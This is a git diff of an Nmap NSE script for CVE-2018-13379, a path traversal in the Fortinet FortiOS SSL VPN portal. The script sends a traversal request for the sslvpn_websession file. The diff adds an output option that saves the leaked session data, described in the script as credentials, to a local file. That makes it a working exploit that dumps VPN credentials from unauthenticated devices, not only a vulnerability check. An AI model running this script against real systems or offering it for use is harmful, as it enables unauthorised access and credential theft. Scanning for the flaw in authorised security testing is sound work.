diff --git a/scripts/CVE-2018-13379.nse b/scripts/CVE-2018-13379.nse index 00490ad37..e239178ad 100644 --- a/scripts/CVE-2018-13379.nse +++ b/scripts/CVE-2018-13379.nse @@ -1,12 +1,19 @@ +local http = require "http" +local stdnse = require "stdnse" +local shortport = require "shortport" +local table = require "table" +local string = require "string" +local vulns = require "vulns" +local nmap = require "nmap" +local io = require "io" + description = [[ Performs a scan to check whether the scanned server is vulnerable to CVE-2018-13379 - -CVE-2018-13379: -An Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests. ]] --- -- @usage -- nmap --script CVE-2018-13379 -p +-- nmap --script CVE-2018-13379 -p --script-args output='file.txt' -- @output -- PORT STATE SERVICE -- 443/tcp open http @@ -16,63 +23,102 @@ An Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal" -- 2019-23-08 - Author Alejandro Flores Covarrubias by Purple Security -- Twitter: alejandrocovrr -- Twitter: purplesecmx +-- @xmloutput +-- +-- Fortinet SSL VPN Path Traversal +-- VULNERABLE +--
+-- An Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests. +-- in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 under SSL VPN web portal +-- allows an unauthenticated attacker to download system files +-- via special crafted HTTP resource requests. +--
+-- +--
+-- 2018 +-- 7 +-- 06 +--
+-- +-- 2018-07-6 +-- +-- Credentials are stored to output file +--
+-- +-- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379 +-- https://nvd.nist.gov/vuln/detail/CVE-2018-13379 +-- https://fortiguard.com/psirt/FG-IR-18-384 +-- https://www.securityfocus.com/bid/108693/ +--
+-- author = "Alejandro Flores Covarrubias @alejandrocovrr @purplesecmx" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"discovery", "intrusive","vuln"} -local http = require "http" -local stdnse = require "stdnse" -local shortport = require "shortport" - portrule = shortport.ssl - action = function(host,port) + local outputFile = stdnse.get_script_args(SCRIPT_NAME..".output") or nil + local vuln = { + title = 'Fortinet SSL VPN Path Traversal', + state = vulns.STATE.NOT_VULN, + description = [[ + An Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") + in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 under SSL VPN web portal allows + an unauthenticated attacker to download system files via special crafted HTTP resource requests. + ]], + references = { + 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379', + 'https://nvd.nist.gov/vuln/detail/CVE-2018-13379', + 'https://fortiguard.com/psirt/FG-IR-18-384', + 'https://www.securityfocus.com/bid/108693/' + }, + dates = { + disclosure = {year = '2018', month = '07', day = '06'}, + }, + } + local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) + local path = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" + local response + local output = {} + local success = "Host is vulnerable to CVE-2018-13379 (Fortinet SSL VPN)" + local fail = "Host is not vulnerable" + local match = "var fgt_lang" + local credentials + local pathTraversal + + response = http.get(host, port.number, path) - local path - local response - local output = {} - local success = "Host is vulnerable to CVE-2018-13379 (Fortinet SSL VPN)" - local fail = "Host is not vulnerable" - - path = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" - - response = http.get(host, port.number, path) - - -- Request failed - if not response.status then - -- Bad response - stdnse.print_debug("REQUEST FAILED") - -- Exit - return + -- Request failed + if not response.status then + -- Bad response + stdnse.print_debug("REQUEST FAILED") + -- Exit + return + end + -- 200 response status - Success + if response.status == 200 then + if string.match(response.body, match) then + stdnse.print_debug("%s: %s GET %s - 200 OK", SCRIPT_NAME,host.targetname or host.ip, path) + vuln.state = vulns.STATE.VULN + pathTraversal = (("Path traversal: https://%s:%d%s"):format(host.targetname or host.ip,port.number, path)) + + if outputFile then + credentials = response.body:gsub('%W','.') + vuln.check_results = stdnse.format_output(true, pathTraversal) + vuln.extra_info = stdnse.format_output(true, "Credentials are being stored in the output file") + file = io.open(outputFile, "a") + file:write(credentials, "\n") + else + vuln.check_results = stdnse.format_output(true, pathTraversal) + end end + -- 403 response status + elseif response.status == 403 then + stdnse.print_debug("%s: %s GET %s - %d", SCRIPT_NAME, host.targetname or host.ip, path, response.status) + vuln.state = vulns.STATE.NOT_VULN + end - -- 200 response status - Success - if response.status == 200 then - stdnse.print_debug("%s: %s GET %s - 200 OK", - SCRIPT_NAME, - host.targetname or host.ip, - path) - table.insert(output, success) - table.insert(output, (" ")) - table.insert(output,("Path traversal: https://%s:%d%s"):format(host.targetname or host.ip,port.number, path)) - table.insert(output, (" ")) - table.insert(output, ("References:")) - table.insert(output,(" https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379")) - table.insert(output,(" https://nvd.nist.gov/vuln/detail/CVE-2018-13379")) - table.insert(output,(" https://fortiguard.com/psirt/FG-IR-18-384")) - table.insert(output,(" https://www.securityfocus.com/bid/108693/")) - - - -- 403 response status - elseif response.status == 403 then - stdnse.print_debug("%s: %s GET %s - %d", - SCRIPT_NAME, - host.targetname or host.ip, - path, - response.status) - table.insert(output, fail) - end - - return stdnse.format_output(true, output) -end \ No newline at end of file + return vuln_report:make_output(vuln) +end